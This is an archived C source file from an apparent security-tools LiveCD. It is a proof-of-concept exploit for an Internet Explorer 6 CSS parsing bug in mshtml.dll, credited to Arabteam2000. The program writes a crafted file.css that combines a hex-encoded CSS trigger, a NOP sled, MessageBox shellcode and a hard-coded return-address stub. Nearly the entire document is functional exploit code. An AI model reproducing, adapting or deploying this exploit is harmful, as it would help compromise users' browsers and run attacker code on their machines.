home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / IE / iecss.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-03-16  |  1.6 KB  |  81 lines

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <tchar.h>
  4.  
  5. char bug[]=
  6. "\x40\x63\x73\x73\x20\x6D\x6D\x7B\x49\x7B\x63\x6F\x6E
  7. \x74\x65\x6E\x74\x3A\x20\x22\x22\x3B\x2F"
  8. "\x2A\x22\x20\x22\x2A\x2F\x7D\x7D\x40\x6D\x3B\x40\x65\
  9. x6E\x64\x3B\x20\x2F\x2A\x22\x7D\x7D\x20\x20\x20";
  10.  
  11. //////////////////////////////////////////////////////
  12. /*
  13. shellcode :MessageBox (0,"hack ie6",0,MB_OK);
  14. -
  15. XOR EBX,EBX
  16. PUSH EBX ; 0
  17. PUSH EBX ; 0
  18. ADD AL,0F
  19. PUSH EAX ; Msg " Hack ie6 "
  20. PUSH EBX ;0
  21. JMP 746D8E72 ;USER32.MessageBoxA
  22. */
  23.  
  24. char shellcode[]= "\x33\xDB\x53\x53\x04\x0F\x50\x53\xE9\xCB\x8D\x6D\x74"
  25. "\x90\x90\x48\x61\x63\x6B\x20\x69\x65\x36\x20\x63\x73\x73";
  26.  
  27.  
  28. ////////////////////////////////////////////////////////
  29. // return address :: esp+1AC :: start shellcode
  30. //MOV EAX,ESP
  31. //ADD AX,1AC
  32. //CALL EAX
  33.  
  34. char ret[]= "\x8B\xC4\x66\x05\xAC\x01\xFF\xD0";
  35.  
  36. int main(int argc, char* argv[])
  37. {
  38.  
  39. char buf[8192];
  40. FILE *cssfile;
  41. int i;
  42.  
  43. printf("\n\n Internet Explorer(mshtml.dll) , Cascading Style Sheets Exploit \n");
  44. printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
  45. printf(" Coded by : Arabteam2000 \n");
  46. printf(" Web: www.arabteam2000.com \n");
  47. printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");
  48.  
  49. // NOP`s
  50. for(i=0;i<8192;i++)
  51. buf[i]=0x90;
  52.  
  53.  
  54. // bug
  55. memcpy((void*)&buf[0],
  56. (void*)&bug,48);
  57.  
  58. // shellcode
  59. memcpy((void*)&buf[100],
  60. (void*)&shellcode,27);
  61.  
  62. // ret address
  63. memcpy((void*)&buf[8182],
  64. (void*)&ret,8);
  65.  
  66.  
  67. cssfile=fopen("file.css","w+b");
  68. if(cssfile==NULL){
  69. printf("-Error: fopen \n");
  70. return 1;
  71. }
  72.  
  73. fwrite(buf,8192,1,cssfile);
  74. printf("-Created file: file.css\n ..OK\n\n");
  75.  
  76. fclose (cssfile);
  77. return 0;
  78. }
  79.  
  80.  
  81.